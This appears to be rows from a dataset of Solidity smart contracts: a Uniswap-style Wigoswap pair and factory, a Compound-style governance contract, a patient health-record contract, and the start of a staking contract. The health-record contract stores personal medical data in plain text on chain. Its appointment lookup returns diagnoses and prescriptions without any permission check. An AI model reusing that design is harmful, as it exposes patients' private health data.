uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, "Wigoswap: LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
function getReserves()
public
view
returns (uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token,
address to,
uint256 value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))),
"Wigoswap: TRANSFER_FAILED");
}
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to);
event Swap(address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, "Wigoswap: FORBIDDEN"); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1),
"Wigoswap: OVERFLOW");
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast +=
uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) *
timeElapsed;
price1CumulativeLast +=
uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) *
timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/19 of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1)
private
returns (bool feeOn)
{
address feeTo = IWigoswapFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(18).add(rootKLast);
uint256 liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0,
amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, "Wigoswap: INSUFFICIENT_LIQUIDITY_MINTED");
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to)
external
lock
returns (uint256 amount0, uint256 amount1)
{
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IERC20(_token0).balanceOf(address(this));
uint256 balance1 = IERC20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0,
"Wigoswap: INSUFFICIENT_LIQUIDITY_BURNED");
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0,
"Wigoswap: INSUFFICIENT_OUTPUT_AMOUNT");
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1,
"Wigoswap: INSUFFICIENT_LIQUIDITY");
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, "Wigoswap: INVALID_TO");
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0)
IWigoswapCallee(to).wigoswapCall(msg.sender,
amount0Out,
amount1Out,
data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint256 amount0In = balance0 > _reserve0 - amount0Out
? balance0 - (_reserve0 - amount0Out)
: 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out
? balance1 - (_reserve1 - amount1Out)
: 0;
require(amount0In > 0 || amount1In > 0,
"Wigoswap: INSUFFICIENT_INPUT_AMOUNT");
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(19));
uint256 balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(19));
require(balance0Adjusted.mul(balance1Adjusted) >=
uint256(_reserve0).mul(_reserve1).mul(10000**2),
"Wigoswap: K");
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0,
to,
IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1,
to,
IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)),
IERC20(token1).balanceOf(address(this)),
reserve0,
reserve1);
}
}
contract WigoswapFactory is IWigoswapFactory {
bytes32 public constant INIT_CODE_PAIR_HASH =
keccak256(abi.encodePacked(type(WigoswapPair).creationCode));
address public override feeTo;
address public override feeToSetter;
mapping(address => mapping(address => address)) public override getPair;
address[] public override allPairs;
event SetFeeTo(address indexed sender, address indexed feeTo);
event SetFeeToSetter(address indexed sender, address indexed feeToSetter);
event PairCreated(address indexed token0,
address indexed token1,
address pair,
uint256);
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
}
function allPairsLength() external view override returns (uint256) {
return allPairs.length;
}
function pairCodeHash() external pure returns (bytes32) {
return keccak256(type(WigoswapPair).creationCode);
}
function createPair(address tokenA, address tokenB)
external
override
returns (address pair)
{
require(tokenA != tokenB, "Wigoswap: IDENTICAL_ADDRESSES");
(address token0, address token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
require(token0 != address(0), "Wigoswap: ZERO_ADDRESS");
require(getPair[token0][token1] == address(0), "Wigoswap: PAIR_EXISTS"); // single check is sufficient
bytes memory bytecode = type(WigoswapPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
WigoswapPair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external override {
require(msg.sender == feeToSetter, "Wigoswap: FORBIDDEN");
feeTo = _feeTo;
emit SetFeeTo(msg.sender, _feeTo);
}
function setFeeToSetter(address _feeToSetter) external override {
require(msg.sender == feeToSetter, "Wigoswap: FORBIDDEN");
feeToSetter = _feeToSetter;
emit SetFeeToSetter(msg.sender, _feeToSetter);
}
}
| 318,602 | 13,277 |
7d371b8becc3d9470f0bb9f6cafd12515dd384387895e2ee97f61cc7dcea563b
| 15,095 |
.sol
|
Solidity
| false |
328493547
|
crazyrabbitLTC/Apes-Market
|
b0e8f7d8c96ca51b521f9722099be33fbd32587b
|
contracts/Governance/ApeGovernorAlpha.sol
| 3,548 | 14,409 |
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Compound Governor Alpha";
function quorumVotes() public pure returns (uint256) {
return 400000e18;
} // 400,000 = 4% of Comp
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint256) {
return 100000e18;
} // 100,000 = 1% of Comp
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint256) {
return 10;
} // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint256) {
return 1;
} // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint256) {
return 17280;
} // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Compound Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Compound governance token
CompInterface public comp;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint256 public proposalCount;
struct Proposal {
uint256 id;
address proposer;
uint256 eta;
address[] targets;
uint256[] values;
string[] signatures;
bytes[] calldatas;
uint256 startBlock;
uint256 endBlock;
uint256 forVotes;
uint256 againstVotes;
bool canceled;
bool executed;
// mapping(address => Receipt) receipts;
}
// Proposal ID to Receipt
mapping(uint256 => mapping(address => Receipt)) public receipts;
/// @notice Ballot receipt record for a voter
struct Receipt {
bool hasVoted;
bool support;
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed }
/// @notice The official record of all proposals ever proposed
mapping(uint256 => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping(address => uint256) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint256 id,
address proposer,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
uint256 startBlock,
uint256 endBlock,
string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint256 proposalId, bool support, uint256 votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint256 id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint256 id, uint256 eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint256 id);
constructor(address timelock_,
address comp_,
address guardian_) public {
timelock = TimelockInterface(timelock_);
comp = CompInterface(comp_);
guardian = guardian_;
}
function propose(address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description) public returns (uint256) {
require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(),
"GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length &&
targets.length == signatures.length &&
targets.length == calldatas.length,
"GovernorAlpha::propose: proposal function arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint256 latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active,
"GovernorAlpha::propose: one live proposal per proposer.");
require(proposersLatestProposalState != ProposalState.Pending,
"GovernorAlpha::propose: one live proposal per proposer.");
}
uint256 startBlock = add256(block.number, votingDelay());
uint256 endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal;
newProposal.id = proposalCount;
newProposal.proposer = msg.sender;
newProposal.eta = 0;
newProposal.targets = targets;
newProposal.values = values;
newProposal.signatures = signatures;
newProposal.calldatas = calldatas;
newProposal.startBlock = startBlock;
newProposal.endBlock = endBlock;
newProposal.forVotes = 0;
newProposal.againstVotes = 0;
newProposal.canceled = false;
newProposal.executed = false;
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id,
msg.sender,
targets,
values,
signatures,
calldatas,
startBlock,
endBlock,
description);
return newProposal.id;
}
function queue(uint256 proposalId) public {
require(state(proposalId) == ProposalState.Succeeded,
"GovernorAlpha::queue: proposal can only be queued if succeeded");
Proposal storage proposal = proposals[proposalId];
uint256 eta = add256(block.timestamp, timelock.delay());
for (uint256 i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))),
"GovernorAlpha::_queueOrRevert: proposal action already queued");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint256 proposalId) public payable {
require(state(proposalId) == ProposalState.Queued,
"GovernorAlpha::execute: proposal can only be executed if queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
(timelock.executeTransaction){value: proposal.values[i]}(proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint256 proposalId) public {
ProposalState propState = state(proposalId);
require(propState != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian ||
comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(),
"GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i],
proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint256 proposalId)
public
view
returns (address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas)
{
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint256 proposalId, address voter) public view returns (Receipt memory) {
return receipts[proposalId][voter];
}
function state(uint256 proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint256 proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint256 proposalId,
bool support,
uint8 v,
bytes32 r,
bytes32 s) public {
bytes32 domainSeparator =
keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter,
uint256 proposalId,
bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = receipts[proposal.id][voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = comp.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint256 eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin:sender!=guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint256 eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin:sender!=guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint256);
function GRACE_PERIOD() external view returns (uint256);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta) external returns (bytes32);
function cancelTransaction(address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta) external;
function executeTransaction(address target,
uint256 value,
string calldata signature,
bytes calldata data,
uint256 eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96);
}
| 236,788 | 13,278 |
3aaeb5c87192de9804439cb84c828ca68404fb3c8e121b11fea46d9c6d5d6cab
| 11,381 |
.sol
|
Solidity
| false |
535812231
|
metafy-social/web3-smart-contracts
|
10ac898f2a6d9b094f2e08af5daa07887e640807
|
contracts/Health-Rec/HealthRec.sol
| 2,470 | 10,426 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Record {
struct Patients{
string ic;
string name;
string phone;
string gender;
string dob;
string height;
string weight;
string houseaddr;
string bloodgroup;
string allergies;
string medication;
string emergencyName;
string emergencyContact;
address addr;
uint date;
}
struct Doctors{
string ic;
string name;
string phone;
string gender;
string dob;
string qualification;
string major;
address addr;
uint date;
}
struct Appointments{
address doctoraddr;
address patientaddr;
string date;
string time;
string prescription;
string description;
string diagnosis;
string status;
uint creationDate;
}
address public owner;
address[] public patientList;
address[] public doctorList;
address[] public appointmentList;
mapping(address => Patients) patients;
mapping(address => Doctors) doctors;
mapping(address => Appointments) appointments;
mapping(address=>mapping(address=>bool)) isApproved;
mapping(address => bool) isPatient;
mapping(address => bool) isDoctor;
mapping(address => uint) AppointmentPerPatient;
uint256 public patientCount = 0;
uint256 public doctorCount = 0;
uint256 public appointmentCount = 0;
uint256 public permissionGrantedCount = 0;
constructor() {
owner = msg.sender;
}
//Retrieve patient details from user sign up page and store the details into the blockchain
function setDetails(string memory _ic, string memory _name, string memory _phone, string memory _gender, string memory _dob, string memory _height, string memory _weight, string memory _houseaddr, string memory _bloodgroup, string memory _allergies, string memory _medication) public {
require(!isPatient[msg.sender]);
Patients storage p = patients[msg.sender];
p.ic = _ic;
p.name = _name;
p.phone = _phone;
p.gender = _gender;
p.dob = _dob;
p.height = _height;
p.weight = _weight;
p.houseaddr = _houseaddr;
p.bloodgroup = _bloodgroup;
p.allergies = _allergies;
p.medication = _medication;
// p.emergencyName = _emergencyName;
// p.emergencyContact = _emergencyContact;
p.addr = msg.sender;
p.date = block.timestamp;
patientList.push(msg.sender);
isPatient[msg.sender] = true;
isApproved[msg.sender][msg.sender] = true;
patientCount++;
}
// //Allows patient to edit their existing record
function editDetails(string memory _ic, string memory _name, string memory _phone, string memory _gender, string memory _dob, string memory _height, string memory _weight, string memory _houseaddr, string memory _bloodgroup, string memory _allergies, string memory _medication) public {
require(isPatient[msg.sender]);
Patients storage p = patients[msg.sender];
p.ic = _ic;
p.name = _name;
p.phone = _phone;
p.gender = _gender;
p.dob = _dob;
p.height = _height;
p.weight = _weight;
p.houseaddr = _houseaddr;
p.bloodgroup = _bloodgroup;
p.allergies = _allergies;
p.medication = _medication;
// p.emergencyName = _emergencyName;
// p.emergencyContact = _emergencyContact;
p.addr = msg.sender;
}
//Retrieve patient details from doctor registration page and store the details into the blockchain
function setDoctor(string memory _ic, string memory _name, string memory _phone, string memory _gender, string memory _dob, string memory _qualification, string memory _major) public {
require(!isDoctor[msg.sender]);
Doctors storage d = doctors[msg.sender];
d.ic = _ic;
d.name = _name;
d.phone = _phone;
d.gender = _gender;
d.dob = _dob;
d.qualification = _qualification;
d.major = _major;
d.addr = msg.sender;
d.date = block.timestamp;
doctorList.push(msg.sender);
isDoctor[msg.sender] = true;
doctorCount++;
}
//Allows doctors to edit their existing profile
function editDoctor(string memory _ic, string memory _name, string memory _phone, string memory _gender, string memory _dob, string memory _qualification, string memory _major) public {
require(isDoctor[msg.sender]);
Doctors storage d = doctors[msg.sender];
d.ic = _ic;
d.name = _name;
d.phone = _phone;
d.gender = _gender;
d.dob = _dob;
d.qualification = _qualification;
d.major = _major;
d.addr = msg.sender;
}
//Retrieve appointment details from appointment page and store the details into the blockchain
function setAppointment(address _addr, string memory _date, string memory _time, string memory _diagnosis, string memory _prescription, string memory _description, string memory _status) public {
require(isDoctor[msg.sender]);
Appointments storage a = appointments[_addr];
a.doctoraddr = msg.sender;
a.patientaddr = _addr;
a.date = _date;
a.time = _time;
a.diagnosis = _diagnosis;
a.prescription = _prescription;
a.description = _description;
a.status = _status;
a.creationDate = block.timestamp;
appointmentList.push(_addr);
appointmentCount++;
AppointmentPerPatient[_addr]++;
}
//Retrieve appointment details from appointment page and store the details into the blockchain
function updateAppointment(address _addr, string memory _date, string memory _time, string memory _diagnosis, string memory _prescription, string memory _description, string memory _status) public {
require(isDoctor[msg.sender]);
Appointments storage a = appointments[_addr];
a.doctoraddr = msg.sender;
a.patientaddr = _addr;
a.date = _date;
a.time = _time;
a.diagnosis = _diagnosis;
a.prescription = _prescription;
a.description = _description;
a.status = _status;
}
//Owner of the record must give permission to doctor only they are allowed to view records
function givePermission(address _address) public returns(bool success) {
isApproved[msg.sender][_address] = true;
permissionGrantedCount++;
return true;
}
//Owner of the record can take away the permission granted to doctors to view records
function RevokePermission(address _address) public returns(bool success) {
isApproved[msg.sender][_address] = false;
return true;
}
//Retrieve a list of all patients address
function getPatients() public view returns(address[] memory) {
return patientList;
}
//Retrieve a list of all doctors address
function getDoctors() public view returns(address[] memory) {
return doctorList;
}
//Retrieve a list of all appointments address
function getAppointments() public view returns(address[] memory) {
return appointmentList;
}
function searchPatientDemographic(address _address) public view returns(string memory, string memory, string memory, string memory, string memory, string memory, string memory) {
require(isApproved[_address][msg.sender]);
Patients memory p = patients[_address];
return (p.ic, p.name, p.phone, p.gender, p.dob, p.height, p.weight);
}
function searchPatientMedical(address _address) public view returns(string memory, string memory, string memory, string memory, string memory, string memory) {
require(isApproved[_address][msg.sender]);
Patients memory p = patients[_address];
return (p.houseaddr, p.bloodgroup, p.allergies, p.medication, p.emergencyName, p.emergencyContact);
}
//Search doctor details by entering a doctor address (Only doctor will be allowed to access)
function searchDoctor(address _address) public view returns(string memory, string memory, string memory, string memory, string memory, string memory, string memory) {
require(isDoctor[_address]);
Doctors memory d = doctors[_address];
return (d.ic, d.name, d.phone, d.gender, d.dob, d.qualification, d.major);
}
//Search appointment details by entering a patient address
function searchAppointment(address _address) public view returns(address , string memory, string memory, string memory, string memory, string memory, string memory, string memory) {
Appointments memory a = appointments[_address];
Doctors memory d = doctors[a.doctoraddr];
return (a.doctoraddr, d.name, a.date, a.time, a.diagnosis, a.prescription, a.description, a.status);
}
//Search patient record creation date by entering a patient address
function searchRecordDate(address _address) public view returns(uint) {
Patients memory p = patients[_address];
return (p.date);
}
//Search doctor profile creation date by entering a patient address
function searchDoctorDate(address _address) public view returns(uint) {
Doctors memory d = doctors[_address];
return (d.date);
}
//Search appointment creation date by entering a patient address
function searchAppointmentDate(address _address) public view returns(uint) {
Appointments memory a = appointments[_address];
return (a.creationDate);
}
//Retrieve patient count
function getPatientCount() public view returns(uint256) {
return patientCount;
}
//Retrieve doctor count
function getDoctorCount() public view returns(uint256) {
return doctorCount;
}
//Retrieve appointment count
function getAppointmentCount() public view returns(uint256) {
return appointmentCount;
}
//Retrieve permission granted count
function getPermissionGrantedCount() public view returns(uint256) {
return permissionGrantedCount;
}
//Retrieve permission granted count
function getAppointmentPerPatient(address _address) public view returns(uint256) {
return AppointmentPerPatient[_address];
}
}
| 8,256 | 13,279 |
5649172adcdcd057adb9b46ee4de557ff5304d018572b96738576e1f2424908f
| 26,400 |
.sol
|
Solidity
| false |
423818094
|
fantohm-dev/fantohm-contracts
|
617acb409e9c6750fa58adc81e506cf355b45634
|
Staking.sol
| 4,140 | 16,488 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
